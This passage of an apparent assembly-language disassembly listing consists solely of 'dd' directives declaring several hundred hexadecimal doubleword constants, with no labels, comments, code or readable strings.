		dd 0C2712542h, 0B694F023h, 0F030E1Eh, 431C080h,	19336E3h
		dd 34A91D61h, 0ACFBC752h, 3700F768h, 3A29190Eh,	507560C9h
		dd 3C9ED67Eh, 0B3F3BF00h, 67EA226Fh, 0E8D90233h, 292D7D5Eh
		dd 758B7CC0h, 0EB000875h, 335BC6D6h, 0C5F85Ch, 2555174Bh
		dd 9B75387Ch, 6DF7CE0Ch, 0AC3095h, 27170B49h, 79908845h
		dd 0A4188661h, 0C0C39B5Bh, 0C7D9D4Fh, 467CC44Dh, 77208DD8h
		dd 9EAF1E3Eh, 1CF1078Fh, 644AD0B8h, 77063D9Dh, 763B39EBh
		dd 3C0FE6C0h, 1B000814h, 2D3E844Ah, 6D0266ACh, 26FCECBh
		dd 0BA9CA074h, 0CAF97Ah, 348C6157h, 0F30F5912h,	0F2DB253Ah
		dd 25C88A8h, 45BBE4A8h,	6F190D00h, 20A31D2Bh, 7E33B05h
		dd 0FE9EE683h, 0D2EB8B25h, 0C84519D1h, 0F800DD44h, 4CA2D873h
		dd 67E90Fh, 0EBC3A1C4h,	0B9A03952h, 2DBA1C0Eh, 70630025h
		dd 0EE9883Bh, 97BD6F16h, 0B70D2A00h, 4930FDD0h,	7C5240C0h
		dd 5DE1053Dh, 819AA20Eh, 8315C267h, 70D56010h, 546A909Eh
		dd 67E81F8Dh, 33B800BDh, 9993F5F7h, 0E4445903h,	11C9AF23h
		dd 179D318h, 401DF834h,	0A3F0A56Ah, 73927C7Fh, 6448001Bh
		dd 0AED0B2C5h, 2E1F574Ch, 52C0144Fh, 98FAC261h,	0E968CF64h
		dd 4A8A97A0h, 8C70C53Ah, 38C07673h, 95831339h, 22F10345h
		dd 9009F04Bh, 4945580h,	47926600h, 71638C8Dh, 2EEC00BCh
		dd 45972B8Fh, 2090C5Bh,	1803A0Bh, 0AAF47FEFh, 38D73E0h
		dd 47661458h, 8EE84FD3h, 0D0037895h, 9E1BF7D6h,	0BBC591A4h
		dd 3B451881h, 80C682C1h, 9A521E68h, 0C0C755Dh, 44BD2674h
		dd 0DA2C5040h, 0FD007D7Ch, 0F28FA4E0h, 99C01E86h, 0AB0700C4h
		dd 0AAFC95CBh, 0BE90F760h, 5C7FF5h, 6E62C238h, 0CF477048h
		dd 9E189A00h, 14B08C6Dh, 0DF520011h, 76EA1645h,	0A900C6E9h
		dd 94178D1Dh, 0B92712h,	0F39E1FA3h, 76FAEC3Fh, 0BC404100h
		dd 0DE929542h, 3DA900F0h, 27D0CA49h, 940BFD2Bh,	0C798C5Eh
		dd 18A8B8B3h, 0E88D50E8h, 0A70C60BEh, 49E6FAE5h, 0B05D0276h
		dd 0AB87E178h, 3E445740h, 0EB8CA350h, 318F3200h, 5161E0E9h
		dd 384B0010h, 87A35260h, 0CC3FA6F4h, 235D87D2h,	0F050F846h
		dd 605EB09Dh, 0D54B08D1h, 6EB0B46Ah, 0E6001B7Bh, 0D6E92987h
		dd 3E2FD4BDh, 0B10085BAh, 0B371C222h, 0E2F0D537h, 0B03B91Fh
		dd 13DF4B00h, 0AB6BBh, 0ADEA729Dh, 54EBFBDCh, 0DCEB000h
		dd 4BA934AFh, 0F74230CFh, 325EA640h, 7C761E3Fh,	0D36F8C03h
		dd 0D049D016h, 1CE5D53Eh, 9CC61843h, 87904FCCh,	8FC5E640h
		dd 24306AD6h, 1E98A02Ch, 0B5B90E1Bh, 5861D203h,	74DA82h
		dd 402960B1h, 0D91BBF0Ch, 80195FFEh, 0F64AD0h, 0D20935BAh
		dd 935BDEA4h, 6984860h,	0C74CB67h, 0A515CAFh, 0C7778640h
		dd 2FB6E600h, 0A698D3B2h, 74A71FBh, 0F1FFD89Ch,	16D6D04Bh
		dd 0A000DBF2h, 8A810348h, 0CD05420h, 8E1ECC0Dh,	5C151B60h
		dd 1024A05Eh, 7E37F6h, 0CF6A209Bh, 7E7F701Fh, 0C0C8A250h
		dd 0B8C1BDFAh, 896D8742h, 167F0C41h, 2F3FE080h,	1103D9D4h
		dd 57354500h, 3D2AE293h, 4A023E6Ah, 0F050C000h,	3709010Dh
		dd 1EDEF58h, 4131CE16h,	93C8B7EAh, 0B1E90055h, 81F142C3h
		dd 980008ACh, 78FFFB13h, 0B0A473B9h, 0F492004Eh, 853CFE37h
		dd 0F92E6D91h, 491C6606h, 9822BE00h, 0DE4A0Dh, 2329B233h
		dd 0F150152h, 2A326E00h, 6D808216h, 9E600004h, 5668F909h
		dd 0B247A8Eh, 2B00E0B2h, 942E637Bh, 7CBE004Bh, 985AFAF7h
		dd 911C4307h, 3840A208h, 0E17F3B15h, 0F0D81C04h, 799B40F3h
		dd 835FB5CBh, 0FC34300h, 716472BCh, 445E3A10h, 0B4B18A04h
		dd 0EC85C060h, 3701A17Ch, 39067DC2h, 2DCC1775h,	0E43FFC65h
		dd 617735h, 852E6D4h, 0AE6B7CC2h, 5C761F00h, 1EF3111Ah
		dd 0AD6D006Eh, 7BEC163h, 0D60032F2h, 0F41A5854h, 0B9D2B3h
		dd 308CA808h, 0A173F5FDh, 0BE962209h, 1604008Fh, 0A3C81BAh
		dd 0EFA59746h, 57200A8h, 2F5E9D86h, 32C27400h, 34FD8DA9h
		dd 793B03BDh, 6A2EFEE1h, 0FA7E0CD0h, 0DD8A418h,	0BE47048h
		dd 52B69BC4h, 0CC91DC00h, 9F39A0EBh, 95B900D2h,	0BCDFEC2Dh
		dd 8E5400BFh, 0D6A23AFCh, 0C530A85Ah, 0AAEF2839h, 95360301h
		dd 858BA433h, 0C43D53E9h, 413D0CF0h, 62780097h,	0E91EEF9Eh
		dd 1272016Bh, 0D19B5718h, 118DF0B8h, 0E70EB900h, 1D80AA6Ch
		dd 0A50F0036h, 5123A06Dh, 0CD4C9291h, 15560091h, 8269280Eh
		dd 0A6C207F2h, 90170893h, 704C6643h, 0AE47D000h, 72151BE8h
		dd 4F5A0189h, 0F123A506h, 0CE71E87Dh, 5DC1EF1Fh, 35DA6583h
		dd 88E7E0C4h, 43560055h, 0B697760Dh, 78055BCFh,	210EC98Ch
		dd 0ADCA94C0h, 7E0B00AEh, 9B9E8527h, 0ED1D96EAh, 0AC8E423Dh
		dd 0C76B4090h, 73BF80C2h, 1D5B0024h, 426D2B48h,	46760263h
		dd 880DAF00h, 0B3A0CE5Fh, 55960586h, 0C3B9708Eh, 5DE85EF6h
		dd 0F0C002CDh, 4A84D995h, 0D2AD015Bh, 0A96E59B8h, 0F77EF4A3h
		dd 6F120800h, 277068FAh, 91200589h, 1EE8AF99h, 0F09440F0h
		dd 0EF4B0DA0h, 0F9696160h, 1A430E4h, 36FE419Fh,	0D513AD39h
		dd 840FF432h, 528F4F00h, 166544DEh, 0A72F0073h,	0B91FE11Bh
		dd 9B071885h, 0A0BDC9F0h, 0F5F84290h, 4E5FE5Fh,	0C704E2FFh
		dd 7D38C083h, 2601D69Bh, 671FBD54h, 28805C70h, 0C0CC20A7h
		dd 0A809C4ACh, 3075643h, 0E8C1B860h, 0EA5FEE53h, 9FA303B2h
		dd 8B2660AEh, 480EB09Fh, 0C2188AE6h, 0CAC89BE5h, 54E90009h
		dd 947156A8h, 7900DD5Fh, 834F8758h, 338206h, 3EC9D2B6h
		dd 0FB0FCF19h, 78C2210Eh, 54138039h, 717D73F1h,	98D5006Dh
		dd 3E4FFBF3h, 0BC00E53Bh, 700D31D8h, 75B7999h, 979C613Dh
		dd 0D292D282h, 0CBD9EE60h, 0C7C4DD00h, 6FAFA2FAh, 358F0067h
		dd 7E879E7Bh, 0A700E9E5h, 0F7F00769h, 868C70h, 1BD43997h
		dd 0AE14DB3Dh, 2000D97Eh, 0A625DFDCh, 33CFB98h,	49CA8AA0h
		dd 0F5C059DEh, 47014267h, 9BCE04B0h, 0DBE4695Ah, 2AE51E60h
		dd 0F4D103F3h, 1598F5E4h, 0B900D48Eh, 0C07D9E3h, 0A032397h
		dd 0AB50D099h, 935A1F90h, 1784AF6h, 47824BCh, 802669C5h
		dd 0D3469830h, 3EE3B238h, 9BBE87h, 60ED6C02h, 3ED508A4h
		dd 130044E8h, 337CD943h, 0B017996h, 18DEE120h, 60C62CD5h
		dd 0B250BCh, 23CAC553h,	9BCF7C89h, 8D18D307h, 727073C7h
		dd 0E088FAh, 0ADDA950Eh, 3CCA545Ah, 4AC3600h, 3DBDF935h
		dd 0DBFE00DFh, 8B68FF64h, 273A6AC4h, 16B38B3h, 9F3F9036h
		dd 2825C91Bh, 12D1C6DCh, 153BC5Dh, 9F294338h, 98182479h
		dd 0DF81C100h, 9A2B441Ah
		dd 0B5C30A84h, 840560h,	86E2B256h, 0AD0EA5F1h, 0F82352BDh
		dd 495038h, 81F8CBF3h, 0B9AF31DCh, 0B0E748h, 1CF7D09Eh
		dd 0B07E337Dh, 784379D3h, 41B10071h, 0D3766346h, 51003EE4h
		dd 0D2C0DA9Ch, 4BB64D6h, 286567CEh, 0D8CC980Dh,	71DFF700h
		dd 1F3BB0ACh, 57D3027Bh, 0C5D0923Fh, 328C0CC0h,	6FFB3009h
		dd 14E018A7h, 0B02D01EBh, 7B1C03BFh, 49A18499h,	0A1860AFAh
		dd 185CF260h, 0F0027301h, 3E03BCE6h, 8F08F4F0h,	519CC02Ch
		dd 3DA300BAh, 1875EA95h, 0B5004634h, 1763A24h, 6A2FA5h
		dd 28030A65h, 6713F7EEh, 0C0A20202h, 0C9069093h, 0EA4707ECh
		dd 162E7F90h, 54A4DBh, 103DA08Ch, 0C9E6A24Dh, 0AE057515h
		dd 28250E80h, 783E0465h, 0D3940583h, 0FBC6E8F7h, 0F80905C5h
		dd 0C00A824Dh, 53BD249Bh, 0C0D56900h, 5D6EB9EFh, 0E1FA0019h
		dd 3DB518BBh, 98000FE5h, 0D1014FA2h, 48F59BA1h,	0B000C1D4h
		dd 838BFAC2h, 5505A2EDh, 456AFD6Bh, 0FC0B9C80h,	0BF7FE9h
		dd 0E4D104B3h, 0E5A6287Ch, 80EC5700h, 5BCE01CDh, 43DC00F3h
		dd 0ACA3D62Ah, 7D009B4Ch, 0B85A8291h, 0F5840Eh,	13EA6349h
		dd 0DA703B2Dh, 8F3F300Ah, 0FF00CCF9h, 81BD946Eh, 0BC3248F0h
		dd 5910C00Ah, 0A85BA84h, 453A14Ah, 81C4BED7h, 302BF8C8h
		dd 0DC004E00h, 0A21D1AC1h, 2C3DB8Fh, 0ABAA9ABAh, 6C434251h
		dd 837F4FC8h, 362F2500h, 15875AFDh, 0E1D600AEh,	8D3E1178h
		dd 0BDF04F2Ah, 3900DC76h, 59334CBh, 0EA60DBFh, 58EBA708h
		dd 948079CBh, 9F85B046h, 5F86FB00h, 707DD4ECh, 0EB5D3DE8h
		dd 3C226316h, 160E9C68h, 60935610h, 944A01CAh, 2EEB0FB7h
		dd 0F7A185E3h, 2428D534h, 8F0CEA48h, 8994F869h,	71C80099h
		dd 27F2322Ch, 5B01C00Bh, 0A2C951C1h, 6428948Ah,	37642800h
		dd 0B8DA21A6h, 0FC572C24h, 67FFD507h, 5A56CDC0h, 60AD093Fh
		dd 0B6028C82h, 869E6C5h, 72DBECE5h, 0BAFC4900h,	8156DDB4h
		dd 887D2AFEh, 0A5E216D4h, 0A6A028F3h, 2EE65600h, 0B42D9E63h
		dd 891D1482h, 6D01E619h, 0B14AD2EDh, 7C22A3h, 65DCF998h
		dd 0E0C3B9h, 9E2F49F1h,	18A62344h, 8EEE9005h, 0A4C0CF14h
		dd 0E8D7A0E0h, 0A1240365h, 0AD41E405h, 0F409DCA0h, 0D8CE4300h
		dd 9129A3E6h, 2FB50042h, 5A552264h, 0B900DF44h,	6BF39CADh
		dd 74FA7CBFh, 67425C58h, 0C518AB30h, 0E573A068h, 0FCA3DC00h
		dd 5A7E65F4h, 281C1C8Bh, 144A809Fh, 73D74E42h, 0C0C4A105h
		dd 30D329A6h, 7785B05Ch, 0B3A0034h, 42C214C7h, 0D90020A2h
		dd 74B67F33h, 53E3625Ah, 0F600EC31h, 4563C055h,	0EE12F24Ch
		dd 0ACC10E89h, 472CA49h, 631E71C0h, 5812FB5Dh, 241F1D2Eh
		dd 861C0585h, 0E8B82CC1h, 5305Ch, 7BA75D94h, 95ED3E15h
		dd 0F2D2A001h, 9A89470Ch, 0E6793E4h, 56131E6Ch,	85B86527h
		dd 87149085h, 0FC0029A1h, 59AE8620h, 4FDC2ADh, 0AC1932DBh
		dd 428D6097h, 38696067h, 77906F57h, 18E8FD76h, 88AF140Bh
		dd 96948087h, 1D952135h, 0C715AA0Dh, 0C171D18Ch, 0D008C50Ah
		dd 0B6009929h, 0BE94A67Eh, 36D067h, 0DEDB788Eh,	0CF08111Ch
		dd 5AB17700h, 572AD2A2h, 66973AC3h, 9DE23D9Dh, 61C9004Dh
		dd 47DFF955h, 48744E4Ch, 1AB70061h, 0AF66BD93h,	0FCE70E9Ah
		dd 87BD614Ah, 12B98399h, 9C40D2F5h, 39007B17h, 742819B3h
		dd 0D5A77Ch, 347E268Dh,	0DE893DA4h, 0C5E86C0Ch,	9F7F065h
		dd 0A34D9F40h, 1F5BF825h, 0F87A00F8h, 8B73E0CCh, 0C26ACC92h
		dd 0D29FCCE6h, 88D6E485h, 0C0BB8C0Eh, 95CB35AFh, 0DEA324F9h
		dd 0CA26C2C8h, 692718CEh, 3CA4043Fh, 2DC01CA3h,	1A14050Dh
		dd 80A76B3Fh, 0E48AC64Ah, 159AB22h, 0B66233A3h,	0CFFCE078h
		dd 3A13A8F0h, 80E6453Eh, 6DC726F3h, 4838BCFFh, 0B6C0D0FDh
		dd 0A02A76EEh, 0DDAB5A00h, 0D8112421h, 3130057h, 0AF9810E8h
		dd 4D262A6Ah, 0B90EB87Eh, 1F7660BDh, 738FC24Fh,	0A287077Bh
		dd 0A089461Dh, 1EF0EB0Bh, 0E1BF900h, 66B52FEEh,	0A21A00FCh
		dd 60784480h, 2A00BA12h, 904B4F13h, 45E430h, 1B161D43h
		dd 3D9364D4h, 0A7AF0A00h, 19EEC6FCh, 0F57300F7h, 0A1357816h
		dd 0DD007A9Ah, 0C0A0EB96h, 3B17E3h, 373D9E44h, 73223198h
		dd 772DA30Eh, 0F60C435Bh, 0F2F498FEh, 0A04B007Fh, 0E6A739E2h
		dd 4C00C5D4h, 66DC45ECh, 950B29h, 7251DE84h, 6B2DB376h
		dd 7C1F264Fh, 0D2FF0DC0h, 0E3CD8Bh, 3DBA41DAh, 0B0ED4438h
		dd 1CEFFD00h, 716D6E27h, 4EEA4Ah, 0CDD2C3A9h, 98EEDAF8h
		dd 0B500F275h, 5CE8CE37h, 0E96531h, 996EC5A7h, 124BEC50h
		dd 7B4Ch, 478658C0h, 0C0093C04h, 0C87A810h, 37130857h
		dd 78C0CADCh, 0B4902BB8h, 788C0050h, 0DD8FE88Dh, 4A00E2ECh
		dd 0E5AF9935h, 9EC35Eh,	8B91B21Bh, 77A12A31h, 2AFDD424h
		dd 9CCCEA00h, 6B40CEh, 27E1B9D5h, 4C385439h, 600278B4h
		dd 4008F175h, 38E865Ah,	0F72352CEh, 0A8004BE4h,	65D0C17Ah
		dd 0EA5DDDh, 0CEF0E53Fh, 0D43A4F09h, 4D1D607Fh,	9540019Ch
		dd 0F006912Bh, 0E5C50721h, 60D2C935h, 0CA656D15h, 46D47E00h
		dd 861D4158h, 475C0C36h, 28894AF2h, 31331300h, 0F8988FBCh
		dd 40F51D17h, 69C9CFFFh, 0E123F080h, 6026B134h,	6F81C028h
		dd 0F84DA9A6h, 5F9CFCh,	0CA850107h, 0B0444A1h, 34800600h
		dd 3367973Eh, 969C0126h, 0EE0F527h, 0B01080FAh,	0D92E1E93h
		dd 0BCD25264h, 43AEFC05h, 0D81EC012h, 69B8BF0Bh, 7315264Ch
		dd 8C06F600h, 3FF957D0h, 0C0A460AFh, 0D10C38C4h, 3B5B5603h
		dd 0C2E20Eh, 60FF4B51h,	0F68B26EAh, 0D54F0402h,	0D890FEABh
		dd 96CB062Ch, 31B7C003h, 503DF800h, 82803242h, 5A5800FFh
		dd 6CAB686Bh, 2F03ECBCh, 0C1E42192h, 7D61068Fh,	40183E39h
		dd 5F07DC00h, 2AED5A09h, 75EA64h, 846A6B26h, 66CFEBFFh
		dd 20594Ch, 3C81A1E2h, 78CE8AE3h, 26BB0089h, 0D24D7D42h
		dd 0B6077307h, 7B593344h, 3FE5CE43h, 5200C520h,	66621C55h
		dd 7F014BB2h, 1D676EEAh, 6CE48D9Ch, 0E4DC006Ah,	0BDF5FBF3h
		dd 7300D9C6h, 3833E5B3h, 7D4BFAE2h, 0DA0D8453h,	61B28330h
		dd 3F0D2081h, 81AB7F7Ch, 0CA523350h, 2189E4A6h,	4380ACC5h
		dd 7F92A293h, 90BD651Dh, 20C68E0Ch, 0EB820032h,	804394C4h
		dd 0FB03F04Ch, 544E0BCDh, 0D551238Ch, 0F9EB8500h, 86972A95h
		dd 254E200Eh, 0EB8740E2h, 32B8FAh, 9B84AA8Eh, 49710B38h
		dd 426C20C7h, 0FC0800ABh, 0FD7823Eh, 5ADEBC45h,	0E6C0A10Fh
		dd 0D4EFA9DCh, 0EB70A800h, 8F901A2Dh, 0C6A000ABh, 14E1DACAh
		dd 0A53CA432h, 65EED010h, 0F30A4A00h, 0AE3D4FA1h, 0A78F030Eh
		dd 0A4DADCE1h, 0E48D3000h, 0D41A0D52h, 39F802C6h, 940B1E30h
		dd 36401BE2h, 0C9017EAEh, 0BAE1A52Dh, 0D6F45BFAh, 0CFB530D3h
		dd 0C4813C71h, 6A5550C0h, 5BCDBAh, 0F478463Ah, 0DA485615h
		dd 39084B01h, 417AD298h, 2747F0h, 343A77B2h, 2322856Ah
		dd 52385106h, 58E25Ch, 763B21F7h, 92E15527h, 42009AFAh
		dd 0AD51F5B4h, 3CA375D3h, 5D03B74Bh, 0FD9D99B2h, 0B06EAAC8h
		dd 1B782040h, 5179FA7Bh, 0CFB1B8F8h, 0B90030B0h, 43F6AC4Eh
		dd 0F00DAA25h, 0E488A8C7h, 0E8550060h, 0D9E9F945h, 41C14FB1h
		dd 0C31BC1C7h, 35C02880h, 264152AFh, 0C67D7400h, 0BD4387EBh
		dd 61A700A9h, 95B1F1E2h, 0BC00E349h, 5E6B66F2h,	0F6515AE6h
		dd 0F57903E8h, 0EF427760h, 7A6034D2h, 0B1008548h, 0A794EB81h
		dd 0DA0598h, 0AD63EF23h
		dd 9349EEBDh, 0BBB920C6h, 0D3850052h, 2D3B78DDh, 500F61Bh
		dd 98E8B1FDh, 20DFC08h,	0F70CB7E3h, 48E0BEF5h, 8E0F2E82h
		dd 808F9F8Ch, 0B1841FD8h, 0C6F30097h, 310A0F69h, 7001E1B7h
		dd 6DBD72F7h, 89DC9EA5h, 6039E8A7h, 0CFD02009h,	3759FF4h
		dd 14746618h, 1DD8FC38h, 807026B9h, 0C71E8E89h,	4FB8E0F9h
		dd 1D1939E0h, 50808B4Bh, 600353ECh, 4E017128h, 1A001BABh
		dd 0EE8F3F18h, 6090DA1Ch, 0E38121BAh, 0F90064FCh, 910CCD80h
		dd 78A73FE0h, 0C6890123h, 8D30F05Dh, 64A440EEh,	0B73CB4AAh
		dd 0F6390088h, 0FD1FBF22h, 463B0001h, 300C6860h, 2509AD8Ah
		dd 45E8E18h, 25C03343h,	383680C4h, 230F61F9h, 4620BA1Bh
		dd 7FD5B5A4h, 0EAAD0B1Dh, 206E7C0Ch, 38F000CAh,	60C0174Eh
		dd 1D186496h, 849A5119h, 367A16C8h, 0C9460783h,	61FBA001h
		dd 0BB5C4120h, 39770072h, 0C53F888Ah, 64293C1Ch, 4B616000h
		dd 746AF4Ah, 58F65900h,	3199887Ah, 2EBE0085h, 0C4478C05h
		dd 2800111Eh, 36138BF7h, 1845FA6Eh, 68DF65EAh, 0B800CD41h
		dd 9F7AB651h, 0C6F747C4h, 200B4308h, 0B87C5B00h, 0CAC89667h
		dd 421B06F2h, 0D86C8D74h, 0F5008C7Ah, 0B1365F39h, 2C9461h
		dd 8B2812A0h, 6DBB136Fh, 0E0CE3E30h, 4C60539Ah,	68007A0Fh
		dd 0C3AE1AEDh, 0B3D2FC7h, 941C00DFh, 885BD736h,	0E6B2008Eh
		dd 72C70A2Dh, 0E400732Ah, 0D3759940h, 3DEAB36h,	0DDB5C878h
		dd 2003E943h, 0BE9F30B9h, 0DFEAB0D6h, 2C79F5h, 0C8F06AA8h
		dd 0F480F685h, 9BF8ED74h, 4B5A8C00h, 0D5740A81h, 0CA1D0F95h
		dd 0F2403092h, 993A512Ch, 91147100h, 73DFE5F7h,	0CA7600C4h
		dd 0E7413F33h, 0FE073272h, 1D0D7E30h, 98C7B4D3h, 13D3A1Fh
		dd 6ADA3C68h, 0C84E90C0h, 41C02F1Ch, 7CF0192Ah,	30B06F91h
		dd 0DD159303h, 1A276790h, 2D3D7DECh, 21E0301Eh,	752B9Dh
		dd 124A5732h, 95C3B75Ah, 50906230h, 7DB73FAh, 0AA7EEC4Ch
		dd 94DAB31Fh, 4E00387Ch, 8A8E2013h, 19841CF7h, 802F1F5Ch
		dd 4781895h, 6DCDCEBEh,	98353018h, 9A2A008Ah, 4D10393Ah
		dd 95031B2Ch, 60899B72h, 0A4002A5h, 22157997h, 9F68C05Fh
		dd 0BD953C90h, 68FAB083h, 0B8A8C329h, 0C4006FBEh, 0CE6D6196h
		dd 0EE04BF9h, 0E3557D93h, 285185h, 6A1FB690h, 700D539h
		dd 91CE90F5h, 5A9BF0h, 6CF10C8Ah, 2CF79CEEh, 2B0AEB7Dh
		dd 0E8B070D5h, 9FEE200h, 23DDC8h, 86426208h, 29F4EA41h
		dd 0C40787E8h, 157CCA22h, 0F11D8EB0h, 2FAA00DFh, 91BEB5Eh
		dd 8F588DFDh, 0C44A000Fh, 87B8029Dh, 6EEF07ECh,	60A84CB9h
		dd 0B0BF437Ah, 55365C00h, 96AA240Bh, 0F8103D2h,	0C3CE3572h
		dd 16C79380h, 0FF411903h, 0A82C37CDh, 1BB3B23h,	0CFA797AEh
		dd 0D8026936h, 80FF0816h, 513D4238h, 0FC546h, 259DCFF3h
		dd 0E873A9C8h, 0E6EABC03h, 0D0491D8Fh, 397C761Ah, 4B004D97h
		dd 4A288AE7h, 0A75CC918h, 0A4EF0685h, 197B2Ch, 269309A0h
		dd 6EABAED5h, 89F93Eh, 3693282h, 1BFE0AAh, 161C873Bh, 80CBFF10h
		dd 4407F780h, 7B12FBA0h, 0ECF500CEh, 9A8A7406h,	54024B1Ah
		dd 773C94D9h, 0C2ACE083h, 3BA00033h, 5A0FC30Ch,	7109E0DFh
		dd 837F682Bh, 1CAF989h,	16DD6C58h, 8FAEBDCDh, 5D819710h
		dd 0C9095882h, 6D148047h, 60226BCCh, 0DFB4500Dh, 1F079ABCh
		dd 0EB57A577h, 471926C0h, 0A1740092h, 0F5D5E2FEh, 43002AEAh
		dd 45976C52h, 719E4991h, 0DA2D1F23h, 0FF06ED5h,	0F683927Ch
		dd 4B07E24h, 0BCCF5BC7h, 0C18D877Dh, 0E07A05B3h, 1257A98Eh
		dd 7D558BCh, 0B092A414h, 0B3BF5239h, 3CD0F301h,	33C3E553h
		dd 0D4F40880h, 0E4F2072Fh, 4008B71Dh, 629987FFh, 8DF03BFDh
		dd 3905FFh, 0CB9CF032h,	1527771Ch, 9B508300h, 0E508D7BDh
		dd 0F3C50017h, 97E2C149h, 3230045Eh, 0D5547894h, 448354CEh
		dd 0D8B30AA2h, 208114D4h, 0D64B2044h, 0E084B900h, 2B6DEEA0h
		dd 229F0018h, 7D94DCB1h, 0CB318E33h, 5CA59146h,	0E2E49C8h
		dd 75747A1h, 8D9C6F41h,	0B4208019h, 0F70E3D77h,	150107BBh
		dd 40062755h, 32073323h, 4B854D00h, 21D5DFEEh, 0F73BCh
		dd 78A81B63h, 5FE36BF3h, 0A510B4A0h, 0F71C9200h, 0BA9865AEh
		dd 99C600F1h, 0EBE70E80h, 0D5003503h, 4CA5BB18h, 0F841E3Bh
		dd 1E85659h, 380DB2Bh, 87280F4Eh, 6D6FC1Eh, 807EC00Eh
		dd 2049ACDFh, 33D0E564h, 223E4DCh, 31525D09h, 8CC06A0Ch
		dd 7E00C645h, 38B10F4Ah, 1D1CCD99h, 9968093h, 0C203DC3Eh
		dd 0B9A0ED8Ah, 6D0E0C49h, 58A9A892h, 33EF60h, 0C411721Ah
		dd 0D7295FC3h, 7CF5D200h, 5BB7A166h, 0ADC90393h, 286A782Ch
		dd 380F0BBBh, 6083950Ch, 2A132DF9h, 67719Ch, 0E8AAA0E2h
		dd 0B9CD82A1h, 3C128C00h, 4C282A4Eh, 4FAD0E72h,	0C804A1Eh
		dd 79DA4DDBh, 0C53D7800h, 587E84B5h, 44CE009Dh,	0FF06BFA5h
		dd 84A8B2AEh, 93001DBBh, 0BE6D195Fh, 0B1896FEh,	0CA294867h
		dd 336B7E00h, 8B1EED51h, 800361Ch, 7487DF3Ch, 4F40C3ADh
		dd 78004DE0h, 0CA6A602Ah, 146D49h, 88ECE77Dh, 8DD51836h
		dd 51BA4E00h, 0DEA039AAh, 59FD03ACh, 48CB530Ah,	54B65580h
		dd 674EB700h, 0F0A6E27Ch, 0FFDC1E50h, 1E1C802Ch, 8AE6CD2Dh
		dd 7C00CBE2h, 84919081h, 0B76C2Eh, 0D58878B3h, 92798FFFh
		dd 6FE9E4F9h, 4E336500h, 63912CD7h, 0D8E80786h,	0D041616Dh
		dd 0DB2962C3h, 7F054F0Fh, 0EA5D600Eh, 78BFC887h, 0B9C90188h
		dd 62C65AD3h, 580D821h,	13BA8200h, 118D9DE0h, 0DCC13A18h
		dd 0AF4C9803h, 86D80DC6h, 0FB1D7119h, 0BD7F1B55h, 0DDD48E54h
		dd 94844157h, 40801122h, 0B0FBC009h, 76EA3E99h,	0D7F05300h
		dd 10928C13h, 0D56A0773h, 80916430h, 51A774DBh,	0F22B1100h
		dd 0D7025EF0h, 27E6004Dh, 43E4869Ch, 0B80B1526h, 0FF8ECAh
		dd 0EA944285h, 6A5B0E81h, 0E9E04D7Ch, 14D7B264h, 0B912E000h
		dd 3EDC0463h, 93974B5h,	9DEE432Ch, 27690F81h, 7733300Ch
		dd 0E75D9A00h, 0C88CDB76h, 9EEA0031h, 0A068B3D2h, 6200C7EBh
		dd 90205FE6h, 7EAA0F7Ah, 0F68D0098h, 120DDF51h,	3D7B1514h
		dd 0F14D0207h, 0B770F25Eh, 0ADF988h, 0BDB6C3CFh, 7138989Ah
		dd 7ADEAF00h, 0EED32969h, 15E71D6Ch, 0E424402Dh, 67992FF9h
		dd 100DAF2h, 9C42EA3h, 0E7D2F0h, 7CE34D3Dh, 9A47FD1Eh
		dd 81227600h, 465A06D3h, 0B72BCh, 2DDF2874h, 0A8F0D1C8h
		dd 0CFCB7F00h, 584C6D11h, 6F1A07E3h, 0E0DC8A0Fh, 9346EA29h
		dd 0D8DF9B00h, 5787B579h, 69CF00F2h, 6FA9278Bh,	7E00AEAFh
		dd 0BF9CC83Dh, 0ECB049h, 0D8C2291h, 7F4488A4h, 81960601h
		dd 0EAD5988Fh, 11C24h, 8D86E7ECh, 845D16F8h, 0BCAAFF7Ch
		dd 0BF800435h, 15CEE6FAh, 6C8D0098h, 31610596h,	0D6007AACh
		dd 0E510BD1Dh, 1F2EA87h, 98142CBCh, 886D6247h, 84D6FD28h
		dd 2E3D1F5h, 15406B6h, 19793D3h, 2A109A19h, 5A80D7DAh
		dd 3F2D409Fh, 228B3620h, 18107D65h, 9E11D3BCh, 0C48F0894h
		dd 0A2011F83h, 0B945D510h, 1849E211h, 0CDA166C3h, 0D97F0213h
		dd 0D6782E1Dh, 2993CC0Fh, 510B633Dh, 291911E9h,	0CA51744Fh
		dd 2E867845h, 0A7F522A1h, 0E4931F10h, 8950E11h,	882597Eh
		dd 0F1289991h, 0A7355D00h, 341468F8h, 0ED17001Eh, 0E1370421h
		dd 65006AD7h, 0BA72F24Ah, 0DC861Bh, 0F023F32Eh,	0A32DC108h
		dd 0F21A6F04h, 0B3C0BE51h, 493AD6h, 80739D9h, 25FCB189h
		dd 0C59A1B1Dh
		dd 2BC6187h, 6A2F3AD0h,	0B9FA0074h, 0AB854169h,	541D319Eh
		dd 7E009AB1h, 59BC0E0Ah, 0F3F100FFh, 13396CC7h,	8C74EBD2h
		dd 0DD0053E6h, 933CE427h, 7FF003EFh, 40254C19h,	0C01E0F1Fh
		dd 0F6022B04h, 570714C9h, 4549B410h, 2CAF6750h,	0A5C00083h
		dd 0C9A12AE5h, 1B018AFCh, 63699B2Bh, 8BE0FA53h,	8EC52CE4h
		dd 0E0D40126h, 955B5558h, 1D6C6A60h, 0C381CAB7h, 267715FAh
		dd 5C6EC5C8h, 6901C9C1h, 101AD0F0h, 0ADA170EFh,	92B97100h
		dd 0C7CBF79Eh, 4FC50181h, 259A01F1h, 0F8F2FDCFh, 1D023BD7h
		dd 701432E0h, 84896048h, 209200ECh, 4C5BE5EEh, 0FE00A31Dh
		dd 5DFC677Dh, 2FFDE9h, 0C6EAEF16h, 0B7269707h, 688C3B07h
		dd 8FC0DDD0h, 3E9C31h, 0F1C76998h, 388A57A2h, 0B6009DE0h
		dd 505E5D99h, 2E336A14h, 6586F4h, 3F6698C9h, 97588CBAh
		dd 389D002Eh, 0D2BF36E2h, 1D237CDAh, 0F021F7h, 0EB902F6Ch
		dd 1E0E7199h, 0A069A0D8h, 452D74CFh, 0DFFE00EFh, 0F78EB8DAh
		dd 8C030ED7h, 0FDE7157Bh, 0A45CC0BFh, 0A7850051h, 0FCCF8BB5h
		dd 330FF569h, 0A08155D3h, 15DA542Fh, 4FF80FACh,	0FA6E38A1h
		dd 0E3FD68A3h, 0E56C01A8h, 0DC60CD00h, 0ED1984BEh, 0CEAF0064h
